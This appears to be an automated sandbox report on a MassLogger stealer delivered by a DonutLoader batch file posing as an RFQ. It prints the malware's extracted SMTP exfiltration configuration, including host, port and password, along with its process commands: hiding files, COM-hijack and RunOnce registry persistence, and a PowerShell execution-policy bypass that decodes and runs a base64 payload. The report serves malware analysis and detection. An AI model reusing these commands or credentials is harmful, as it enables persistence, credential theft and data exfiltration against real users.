Analysis
- max time kernel
149s - max time network
149s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
- submitted
18/04/2026, 13:10
General
- Target RFQ-NGT-E-26-7441-NJ.bat
- Size 144KB
- Sample260418-qectzaav6l
- SHA256 79582e012802adcffa4d96ba0ae9a7138f771aeeb76f858ed5af09ff94e45f94
Malware Config
Extracted
-
masslogger
-
exfiltration_mode
#SMTPEnabled
-
expire_time_date
2025-12-17
-
host_password
dy8tm;jRtJO[:bG:
-
host_port
587
- host_receiver
- host_sender
-
host_server
mail.taikei-rmc-co.biz
-
ssl_slate
True
Signatures
- Family: DonutLoader
DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.
- Family: MassLogger
Masslogger is a .NET stealer targeting passwords from browsers, email and cryptocurrency clients.
- Detects DonutLoader 1 IoCs
- Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
- Adds Run key to start application 2 TTPs 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Modifies registry class 6 IoCs
- Suspicious behavior: EnumeratesProcesses 5 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious use of AdjustPrivilegeToken 59 IoCs
- Suspicious use of UnmapMainImage 1 IoCs
- Suspicious use of WriteProcessMemory 11 IoCs
- Views/modifies file attributes 1 TTPs 1 IoCs
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of UnmapMainImage
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\RFQ-NGT-E-26-7441-NJ.bat"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\RFQ-NGT-E-26-7441-NJ.bat"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\DRAWING.bat"4⤵
- Views/modifies file attributes
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Classes\CLSID\{64689374-24B8-5E84-4F98-9BB3CD476843}" /ve /t REG_SZ /d "System Shell Extension" /f4⤵
- Modifies registry class
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Classes\CLSID\{64689374-24B8-5E84-4F98-9BB3CD476843}\InProcServer32" /ve /t REG_SZ /d "rundll32.exe" /f4⤵
- Modifies registry class
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Classes\CLSID\{64689374-24B8-5E84-4F98-9BB3CD476843}\InProcServer32" /v "ThreadingModel" /t REG_SZ /d "Apartment" /f4⤵
- Modifies registry class
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "CONSISTENT" /t REG_SZ /d "cmd.exe /c "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\DRAWING.bat"" /f4⤵
- Adds Run key to start application
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -nop -w h -ep bypass -c "$d=Get-Content 'C:\Users\Admin\AppData\Local\Temp\might.tmp' -Raw;$d=$d-replace'`r',''-replace'`n','';[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($d))|Out-File 'C:\Users\Admin\AppData\Local\Temp\Gold.ps1' -Encoding UTF8"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -nop -w h -ep bypass -f "C:\Users\Admin\AppData\Local\Temp\Gold.ps1"4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\55sy2n3b\55sy2n3b.cmdline"5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8A6.tmp" "c:\Users\Admin\AppData\Local\Temp\55sy2n3b\CSCE9CE7BEBE6914D5D9379971C7C22308.TMP"6⤵
-
-
-
-
-
Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Component Object Model Hijacking
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Component Object Model Hijacking
1Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-NonInteractive
55sy2n3b.dll
Gold.ps1
RES8A6.tmp
__PSScriptPolicyTest_lonatl5w.5sb.ps1
might.tmp
might.tmp
DRAWING.bat
55sy2n3b.0.cs
55sy2n3b.cmdline
CSCE9CE7BEBE6914D5D9379971C7C22308.TMP
memory/656-84-0x000001BB73D80000-0x000001BB73D88000-memory.dmp
memory/656-85-0x000001BB59F60000-0x000001BB59F6C000-memory.dmp
memory/656-86-0x000001BB59FC0000-0x000001BB59FD2000-memory.dmp
memory/656-92-0x000001BB59F60000-0x000001BB59F6C000-memory.dmp
memory/1040-54-0x00000214AEB70000-0x00000214AEB80000-memory.dmp
memory/1040-59-0x0000021496370000-0x000002149637C000-memory.dmp
memory/1040-60-0x0000021496970000-0x0000021496982000-memory.dmp
memory/1040-52-0x00000214AEA50000-0x00000214AEA72000-memory.dmp
memory/1040-45-0x00000214AEB70000-0x00000214AEB80000-memory.dmp
memory/1040-46-0x00000214AEB70000-0x00000214AEB80000-memory.dmp
memory/3124-88-0x0000000002820000-0x0000000002834000-memory.dmp
memory/3124-90-0x0000000004160000-0x000000000417E000-memory.dmp
memory/3840-82-0x000001F94A620000-0x000001F94A62C000-memory.dmp
memory/4092-79-0x000001B2E0D20000-0x000001B2E0D2C000-memory.dmp